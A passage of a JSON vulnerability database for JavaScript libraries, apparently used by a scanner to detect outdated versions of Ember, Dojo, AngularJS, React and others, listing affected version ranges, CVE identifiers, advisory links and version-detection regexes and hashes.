\"https://groups.google.com/forum/#!topic/ember-security/2kpXXCxISS4\", \"https://groups.google.com/forum/#!topic/ember-security/PSE4RzTi6l4\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.1.0-*\",\n\t\t\t\t\"below\" : \"1.1.3\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [\"CVE-2014-0013\", \"CVE-2014-0014\"]},\n\t\t\t\t\"info\" : [ \"https://groups.google.com/forum/#!topic/ember-security/2kpXXCxISS4\", \"https://groups.google.com/forum/#!topic/ember-security/PSE4RzTi6l4\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.0.0-*\",\n\t\t\t\t\"below\" : \"1.0.1\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [\"CVE-2014-0013\", \"CVE-2014-0014\"]},\n\t\t\t\t\"info\" : [ \"https://groups.google.com/forum/#!topic/ember-security/2kpXXCxISS4\", \"https://groups.google.com/forum/#!topic/ember-security/PSE4RzTi6l4\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.0.0-rc.1\",\n\t\t\t\t\"below\" : \"1.0.0-rc.1.1\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2013-4170\" ] },\n\t\t\t\t\"info\" : [ \"https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.0.0-rc.2\",\n\t\t\t\t\"below\" : \"1.0.0-rc.2.1\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2013-4170\" ] },\n\t\t\t\t\"info\" : [ \"https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.0.0-rc.3\",\n\t\t\t\t\"below\" : \"1.0.0-rc.3.1\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2013-4170\" ] },\n\t\t\t\t\"info\" : [ \"https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.0.0-rc.4\",\n\t\t\t\t\"below\" : \"1.0.0-rc.4.1\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2013-4170\" ] },\n\t\t\t\t\"info\" : [ \"https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.0.0-rc.5\",\n\t\t\t\t\"below\" : \"1.0.0-rc.5.1\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2013-4170\" ] },\n\t\t\t\t\"info\" : [ \"https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.0.0-rc.6\",\n\t\t\t\t\"below\" : \"1.0.0-rc.6.1\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2013-4170\" ] },\n\t\t\t\t\"info\" : [ \"https://groups.google.com/forum/#!topic/ember-security/dokLVwwxAdM\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"0.9.7.1\",\n\t\t\t\t\"info\" : [ \"https://github.com/emberjs/ember.js/blob/master/CHANGELOG\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"0.9.7\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"bug\": \"699\",\n\t\t\t\t\t\"summary\": \"Bound attributes aren't escaped properly\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"https://github.com/emberjs/ember.js/issues/699\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"\t\t\t: [ \"Ember.VERSION\" ],\n\t\t\t\"uri\"\t\t\t: [ \"/(?:v)?([0-9][0-9.a-z_-]+)/ember(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filename\"\t\t: [ \"ember-([0-9][0-9.a-z_-]+)(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filecontent\"\t: [\n\t\t\t\t\"Project:   Ember -(?:.*\\n){9,11}// Version: v([0-9][0-9.a-z_-]+)\",\n\t\t\t\t\"// Version: v([0-9][0-9.a-z_-]+)(.*\\n){10,15}(Ember Debug|@module ember|@class ember)\",\n\t\t\t\t\"Ember.VERSION[ ]?=[ ]?(?:'|\\\")([0-9][0-9.a-z_-]+)(?:'|\\\")\"\n\t\t\t],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\t\"dojo\" : {\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"0.4\",\n\t\t\t\t\"below\" : \"0.4.4\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [\"CVE-2010-2276\", \"CVE-2010-2272\"]},\n\t\t\t\t\"info\" : [ \"http://dojotoolkit.org/blog/dojo-security-advisory\", \"http://www.cvedetails.com/cve/CVE-2010-2276/\", \"http://www.cvedetails.com/cve/CVE-2010-2272/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.0\",\n\t\t\t\t\"below\" : \"1.0.3\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [\"CVE-2010-2276\", \"CVE-2010-2274\", \"CVE-2010-2273\"]},\n\t\t\t\t\"info\" : [ \"http://dojotoolkit.org/blog/dojo-security-advisory\", \"http://www.cvedetails.com/cve/CVE-2010-2276/\", \"http://www.cvedetails.com/cve/CVE-2010-2274/\", \"http://www.cvedetails.com/cve/CVE-2010-2273/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.1\",\n\t\t\t\t\"below\" : \"1.1.2\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [\"CVE-2010-2276\", \"CVE-2010-2274\", \"CVE-2010-2273\"]},\n\t\t\t\t\"info\" : [ \"http://dojotoolkit.org/blog/dojo-security-advisory\", \"http://www.cvedetails.com/cve/CVE-2010-2276/\", \"http://www.cvedetails.com/cve/CVE-2010-2274/\", \"http://www.cvedetails.com/cve/CVE-2010-2273/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.2\",\n\t\t\t\t\"below\" : \"1.2.4\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [\"CVE-2010-2276\", \"CVE-2010-2274\", \"CVE-2010-2273\"]},\n\t\t\t\t\"info\" : [ \"http://dojotoolkit.org/blog/dojo-security-advisory\", \"http://www.cvedetails.com/cve/CVE-2010-2276/\", \"http://www.cvedetails.com/cve/CVE-2010-2274/\", \"http://www.cvedetails.com/cve/CVE-2010-2273/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.3\",\n\t\t\t\t\"below\" : \"1.3.3\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [\"CVE-2010-2276\", \"CVE-2010-2274\", \"CVE-2010-2273\"]},\n\t\t\t\t\"info\" : [ \"http://dojotoolkit.org/blog/dojo-security-advisory\", \"http://www.cvedetails.com/cve/CVE-2010-2276/\", \"http://www.cvedetails.com/cve/CVE-2010-2274/\", \"http://www.cvedetails.com/cve/CVE-2010-2273/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.4\",\n\t\t\t\t\"below\" : \"1.4.2\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [\"CVE-2010-2276\", \"CVE-2010-2274\", \"CVE-2010-2273\"]},\n\t\t\t\t\"info\" : [ \"http://dojotoolkit.org/blog/dojo-security-advisory\", \"http://www.cvedetails.com/cve/CVE-2010-2276/\", \"http://www.cvedetails.com/cve/CVE-2010-2274/\", \"http://www.cvedetails.com/cve/CVE-2010-2273/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"1.4.2\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2010-2275\" ] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2010-2275/\"]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"1.1\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2008-6681\" ] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2008-6681/\"]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"1.10.10\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": { \"PR\" : \"307\" },\n\t\t\t\t\"info\" : [ \"https://github.com/dojo/dojo/pull/307\" , \"https://dojotoolkit.org/blog/dojo-1-14-released\"]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.11.0\",\n\t\t\t\t\"below\" : \"1.11.6\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": { \"PR\" : \"307\" },\n\t\t\t\t\"info\" : [ \"https://github.com/dojo/dojo/pull/307\" , \"https://dojotoolkit.org/blog/dojo-1-14-released\"]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.12.0\",\n\t\t\t\t\"below\" : \"1.12.4\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": { \"PR\" : \"307\" },\n\t\t\t\t\"info\" : [ \"https://github.com/dojo/dojo/pull/307\" , \"https://dojotoolkit.org/blog/dojo-1-14-released\"]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.13.0\",\n\t\t\t\t\"below\" : \"1.13.1\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": { \"PR\" : \"307\" },\n\t\t\t\t\"info\" : [ \"https://github.com/dojo/dojo/pull/307\" , \"https://dojotoolkit.org/blog/dojo-1-14-released\"]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"\t\t\t\t : [ \"dojo.version.toString()\" ],\n\t\t\t\"uri\"\t\t\t\t : [ \"/(?:dojo-)?([0-9][0-9.a-z_-]+)/dojo(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filename\"\t\t\t : [ \"dojo-([0-9][0-9.a-z_-]+)(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filecontentreplace\" : [ \"/dojo.version=\\\\{major:([0-9]+),minor:([0-9]+),patch:([0-9]+)/$1.$2.$3/\"],\n\t\t\t\"hashes\"\t\t\t : {\n\t\t\t\t\"73cdd262799aab850abbe694cd3bfb709ea23627\" : \"1.4.1\",\n\t\t\t\t\"c8c84eddc732c3cbf370764836a7712f3f873326\" : \"1.4.0\",\n\t\t\t\t\"d569ce9efb7edaedaec8ca9491aab0c656f7c8f0\" : \"1.0.0\",\n\t\t\t\t\"ad44e1770895b7fa84aff5a56a0f99b855a83769\" : \"1.3.2\",\n\t\t\t\t\"8fc10142a06966a8709cd9b8732f7b6db88d0c34\" : \"1.3.1\",\n\t\t\t\t\"a09b5851a0a3e9d81353745a4663741238ee1b84\" : \"1.3.0\",\n\t\t\t\t\"2ab48d45abe2f54cdda6ca32193b5ceb2b1bc25d\" : \"1.2.3\",\n\t\t\t\t\"12208a1e649402e362f528f6aae2c614fc697f8f\" : \"1.2.0\",\n\t\t\t\t\"72a6a9fbef9fa5a73cd47e49942199147f905206\" : \"1.1.1\"\n\t\t\t}\n\n\t\t}\n\t},\n\t\"angularjs\" : {\n\t\t\"bowername\": [ \"angularjs\", \"angular.js\" ],\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.5.0\",\n\t\t\t\t\"below\" : \"1.6.9\",\n\t\t\t\t\"severity\": \"low\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"summary\": \"XSS through SVG if enableSvg is set\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"https://github.com/angular/angular.js/blob/master/CHANGELOG.md#169-fiery-basilisk-2018-02-02\", \"https://vulnerabledoma.in/ngSanitize1.6.8_bypass.html\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.3.0\",\n\t\t\t\t\"below\" : \"1.5.0-rc2\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"summary\": \"The attribute usemap can be used as a security exploit\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"https://github.com/angular/angular.js/blob/master/CHANGELOG.md#1230-patronal-resurrection-2016-07-21\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"atOrAbove\" : \"1.0.0\",\n\t\t\t\t\"below\" : \"1.2.30\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"summary\": \"The attribute usemap can be used as a security exploit\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"https://github.com/angular/angular.js/blob/master/CHANGELOG.md#1230-patronal-resurrection-2016-07-21\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"1.6.3\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"summary\": \"Universal CSP bypass via add-on in Firefox\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"https://github.com/mozilla/addons-linter/issues/1000#issuecomment-282083435\", \"http://pastebin.com/raw/kGrdaypP\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"1.6.3\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"summary\": \"DOS in $sanitize\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"https://github.com/angular/angular.js/blob/master/CHANGELOG.md\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"1.6.5\",\n\t\t\t\t\"severity\": \"low\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"summary\": \"XSS in $sanitize in Safari/Firefox\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"https://github.com/angular/angular.js/commit/8f31f1ff43b673a24f84422d5c13d6312b2c4d94\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"\t\t\t: [ \"angular.version.full\" ],\n\t\t\t\"uri\"\t\t\t: [ \"/([0-9][0-9.a-z_-]+)/angular(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filename\"\t\t: [ \"angular(?:js)?-([0-9][0-9.a-z_-]+)(.min)?\\\\.js\" ],\n\t\t\t\"filecontent\"\t: [ \n\t\t\t\t\"/\\\\*[ \\n]+AngularJS v([0-9][0-9.a-z_-]+)\",\n\t\t\t\t\"http://errors\\\\.angularjs\\\\.org/([0-9][0-9.a-z_-]+)/\"\n\t\t\t],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\t\"backbone.js\" : {\n\t\t\"bowername\": [ \"backbonejs\", \"backbone\" ],\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"0.5.0\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"release\": \"0.5.0\",\n\t\t\t\t\t\"summary\": \"cross-site scripting vulnerability\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"http://backbonejs.org/#changelog\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"\t\t\t: [ \"Backbone.VERSION\" ],\n\t\t\t\"uri\"\t\t\t: [ \"/([0-9][0-9.a-z_-]+)/backbone(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filename\"\t\t: [ \"backbone(?:js)?-([0-9][0-9.a-z_-]+)(.min)?\\\\.js\" ],\n\t\t\t\"filecontent\"\t: [ \"//[ ]+Backbone.js ([0-9][0-9.a-z_-]+)\", \"a=t.Backbone={}}a.VERSION=\\\"([0-9][0-9.a-z_-]+)\\\"\" ],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\t\"mustache.js\" : {\n\t\t\"bowername\": [ \"mustache.js\", \"mustache\" ],\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"0.3.1\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"bug\": \"112\",\n\t\t\t\t\t\"summary\": \"execution of arbitrary javascript\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"https://github.com/janl/mustache.js/issues/112\" ] \n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"2.2.1\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"bug\": \"pull request 530\",\n\t\t\t\t\t\"summary\": \"weakness in HTML escaping\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"https://github.com/janl/mustache.js/releases/tag/v2.2.1\", \"https://github.com/janl/mustache.js/pull/530\" ] \n\t\t\t} \n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"\t\t\t: [ \"Mustache.version\" ],\n\t\t\t\"uri\"\t\t\t: [ \"/([0-9][0-9.a-z_-]+)/mustache(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filename\"\t\t: [ \"mustache(?:js)?-([0-9][0-9.a-z_-]+)(.min)?\\\\.js\" ],\n\t\t\t\"filecontent\"\t: [ \"name:\\\"mustache.js\\\",version:\\\"([0-9][0-9.a-z_-]+)\\\"\",\n\t\t\t\t\t\t\t\t\"[^a-z]mustache.version[ ]?=[ ]?(?:'|\\\")([0-9][0-9.a-z_-]+)(?:'|\\\")\",\n\t\t\t\t\t\t\t\t\"exports.name[ ]?=[ ]?\\\"mustache.js\\\";[\\n ]*exports.version[ ]?=[ ]?(?:'|\\\")([0-9][0-9.a-z_-]+)(?:'|\\\");\"\n\t\t\t\t\t\t\t\t],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\t\"handlebars.js\" : {\n\t\t\"bowername\": [ \"handlebars\", \"handlebars.js\" ],\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"1.0.0.beta.3\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"summary\": \"poorly sanitized input passed to eval()\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"https://github.com/wycats/handlebars.js/pull/68\" ] \n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"4.0.0\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\n\t\t\t\t\t\"summary\": \"Quoteless attributes in templates can lead to XSS\"\n\t\t\t\t},\n\t\t\t\t\"info\" : [ \"https://github.com/wycats/handlebars.js/pull/1083\" ] \n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"\t\t\t: [ \"Handlebars.VERSION\" ],\n\t\t\t\"uri\"\t\t\t: [ \"/([0-9][0-9.a-z_-]+)/handlebars(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filename\"\t\t: [ \"handlebars(?:js)?-([0-9][0-9.a-z_-]+)(.min)?\\\\.js\" ],\n\t\t\t\"filecontent\"\t: [ \n\t\t\t\t\"Handlebars.VERSION = \\\"([0-9][0-9.a-z_-]+)\\\";\", \"Handlebars=\\\\{VERSION:(?:'|\\\")([0-9][0-9.a-z_-]+)(?:'|\\\")\",\n\t\t\t\t\"this.Handlebars=\\\\{\\\\};[\\n\\r \\t]+\\\\(function\\\\([a-z]\\\\)\\\\{[a-z].VERSION=(?:'|\\\")([0-9][0-9.a-z_-]+)(?:'|\\\")\",\n\t\t\t\t\"/\\\\*![\\n\\r \\t]+handlebars v([0-9][0-9.a-z_-]+)\"\n\t\t\t],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\t\"easyXDM\" : {\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"2.4.18\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2013-5212\" ] },\n\t\t\t\t\"info\" : [ \"http://blog.kotowicz.net/2013/09/exploiting-easyxdm-part-1-not-usual.html\", \"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5212\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"2.4.19\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2014-1403\" ] },\n\t\t\t\t\"info\" : [ \"http://blog.kotowicz.net/2014/01/xssing-with-shakespeare-name-calling.html\", \"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1403\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"uri\"\t\t\t: [ \"/(?:easyXDM-)?([0-9][0-9.a-z_-]+)/easyXDM(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filename\"\t\t: [ \"easyXDM-([0-9][0-9.a-z_-]+)(.min)?\\\\.js\" ],\n\t\t\t\"filecontent\"\t: [ \" \\\\* easyXDM\\n \\\\* http://easyxdm.net/(?:\\r|\\n|.)+version:\\\"([0-9][0-9.a-z_-]+)\\\"\",\n\t\t\t\t\t\t\t\t\"@class easyXDM(?:.|\\r|\\n)+@version ([0-9][0-9.a-z_-]+)(\\r|\\n)\" ],\n\t\t\t\"hashes\"\t\t: { \"cf266e3bc2da372c4f0d6b2bd87bcbaa24d5a643\" : \"2.4.6\"}\n\t\t}\n\t},\n\n\t\"plupload\" : {\n\t\t\"bowername\": [ \"Plupload\", \"plupload\" ],\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"1.5.4\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2012-2401\" ] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2012-2401/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"1.5.5\",\n\t\t\t\t\"severity\": \"high\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2013-0237\" ] },\n\t\t\t\t\"info\" : [ \"http://www.cvedetails.com/cve/CVE-2013-0237/\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"2.1.9\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": {\"CVE\": [ \"CVE-2016-4566\" ] },\n\t\t\t\t\"info\" : [ \"https://github.com/moxiecode/plupload/releases\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"\t\t\t: [ \"plupload.VERSION\" ],\n\t\t\t\"uri\"\t\t\t: [ \"/([0-9][0-9.a-z_-]+)/plupload(\\\\.min)?\\\\.js\" ],\n\t\t\t\"filename\"\t\t: [ \"plupload-([0-9][0-9.a-z_-]+)(.min)?\\\\.js\" ],\n\t\t\t\"filecontent\"\t: [ \"\\\\* Plupload - multi-runtime File Uploader(?:\\r|\\n)+ \\\\* v([0-9][0-9.a-z_-]+)\",\n\t\t\t\t\t\t\t\t\"var g=\\\\{VERSION:\\\"([0-9][0-9.a-z_-]+)\\\",.*;window.plupload=g\\\\}\"\n\t\t\t\t\t\t\t\t],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\n\t\"DOMPurify\" : {\n\t\t\"bowername\": [ \"dompurify\", \"DOMPurify\" ],\n\t\t\"vulnerabilities\" : [\n\t\t\t{\n\t\t\t\t\"below\" : \"0.6.1\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": { },\n\t\t\t\t\"info\" : [ \"https://github.com/cure53/DOMPurify/releases/tag/0.6.1\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"0.8.6\",\n\t\t\t\t\"severity\": \"medium\",\n\t\t\t\t\"identifiers\": { },\n\t\t\t\t\"info\" : [ \"https://github.com/cure53/DOMPurify/releases/tag/0.8.6\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"0.8.9\",\n\t\t\t\t\"severity\": \"low\",\n\t\t\t\t\"identifiers\": { \"summary\": \"safari UXSS\" },\n\t\t\t\t\"info\" : [ \"https://github.com/cure53/DOMPurify/releases/tag/0.8.9\", \"https://lists.ruhr-uni-bochum.de/pipermail/dompurify-security/2017-May/000006.html\" ]\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"below\" : \"0.9.0\",\n\t\t\t\t\"severity\": \"low\",\n\t\t\t\t\"identifiers\": { \"summary\": \"safari UXSS\" },\n\t\t\t\t\"info\" : [ \"https://github.com/cure53/DOMPurify/releases/tag/0.9.0\" ]\n\t\t\t}\n\t\t],\n\t\t\"extractors\" : {\n\t\t\t\"func\"\t\t\t: [ \"DOMPurify.version\" ],\n\t\t\t\"filecontent\"\t: [ \n\t\t\t\t\"DOMPurify.version = '([0-9][0-9.a-z_-]+)';\", \n\t\t\t\t\"DOMPurify.version=\\\"([0-9][0-9.a-z_-]+)\\\"\",\n\t\t\t\t\"DOMPurify=.[^\\\\r\\\\n]{10,500}\\\\.version=\\\"([0-9][0-9.a-z_-]+)\\\"\"\n\t\t\t],\n\t\t\t\"hashes\"\t\t: {}\n\t\t}\n\t},\n\n\t\"react\" : {\n\t\t\"vulnerabilities\" : [\n\t\t\t{ \n\t\t\t\t\"atOrAbove\" : \"0.4.0\", \"below\" : \"0.4.2\",\n\t\t\t\t\"severity\" : \"low\", \n\t\t\t\t\"identifiers\" : { \n\t\t\t\t\t\"CVE\": [ \"CVE-2013-7035\" ] ,\n\t\t\t\t\t\"summary\":\"potential XSS vulnerability can arise when using user data as a key\"\n\t\t\t\t},\n\t\t\t\t\"info\": [ \"https://facebook.github.io/react/blog/2013/12/18/react-v0.5.2-v0.4.2.html\" ]\n\t\t\t},\n\t\t\t{ \n\t\t\t\t\"atOrAbove\" : \"0.5.0\", \"below\" : \"0.5.2\",\n\t\t\t\t\"severity\" : \"low\", \n\t\t\t\t\"identifiers\" : { \n\t\t\t\t\t\"CVE\": [ \"CVE-2013-7035\" ],\n\t\t\t\t\t\"summary\":\"potential XSS vulnerability can arise when using user data as a key\"\n\t\t\t\t},\n\t\t\t\t\"info\": [ \"https://facebook.github.io/react/blog/2013/12/18/react-v0.5.2-v0.4.2.html\" ]\n\t\t\t},\n\t\t\t{ \n\t\t\t\t\"below\" : \"0.14.0\",\n\t\t\t\t\"severity\" : \"low\", \n\t\t\t\t\"identifiers\" : { \"summary\":\" including untrusted objects as React children can result in an XSS security vulnerability\" },\n\t\t\t\t\"info\": [ \"http://danlec.com/blog/xss-via-a-spoofed-react-element\", \"https://facebook.github.io/react/blog/2015/10/07/react-v0.14.html\" ]\n\t\t\t},\n\t\t\t{ \n\t\t\t\t\"atOrAbove\" : \"16.0.0\", \"below\" : \"16.0.1\",\n\t\t\t\t\"severity\" : \"low\", \n\t\t\t\t\"identifiers\" : { \n\t\t\t\t\t\"CVE\": [ \"CVE-2018-6341\" ],\n\t\t\t\t\t\"summary\":\"potential XSS vulnerability when the attacker controls an attribute name\"\n\t\t\t\t},\n\t\t\t\t\"info\": [ \"https://github.com/facebook/react/blob/master/CHANGELOG.md\", \"https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html\" ]\n\t\t\t},\n\t\t\t{ \n\t\t\t\t\"atOrAbove\" : \"16.1.0\", \"below\" : \"16.1.2\",\n\t\t\t\t\"severity\" : \"low\", \n\t\t\t\t\"identifiers\" : { \n\t\t\t\t\t\"CVE\": [ \"CVE-2018-6341\" ],\n\t\t\t\t\t\"summary\":\"potential XSS vulnerability when the attacker controls an attribute name\"\n\t\t\t\t},\n\t\t\t\t\"info\": [ \"https://github.com/facebook/react/blob/master/CHANGELOG.md\", \"https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html\" ]\n\t\t\t},\n\t\t\t{ \n\t\t\t\t\"atOrAbove\" : \"16.2.0\", \"below\" : \"16.2.1\",\n\t\t\t\t\"severity\" : \"low\", \n\t\t\t\t\"identifiers\" : { \n\t\t\t\t\t\"CVE\": [ \"CVE-2018-6341\" ],\n\t\t\t\t\t\"summary\":\"potential XSS vulnerability when the attacker controls an attribute name\"\n\t\t\t\t},\n\t\t\t\t\"info\": [ \"https://github.com/facebook/react/blob/master/CHANGELOG.md\", \"https://reactjs.org/blog/2018/08/01/react-v-16-4-2.html\" ]\n\t\t\t},\n\t\t\t{ \n\t\t\t\t\"atOrAbove\" : \"16.3.0\", \"below\" : \"16.3.3\",\n\t\t\t\t\"severity\" : \"low\", \n\t\t\t\t\"identifiers\" : { \n\t\t\t\t\t\"CVE\": [ \"CVE-2018-6341\" ],\n\t\t\t\t\t\"summary\":\"potential XSS vulnerability when the attacker controls an attribute 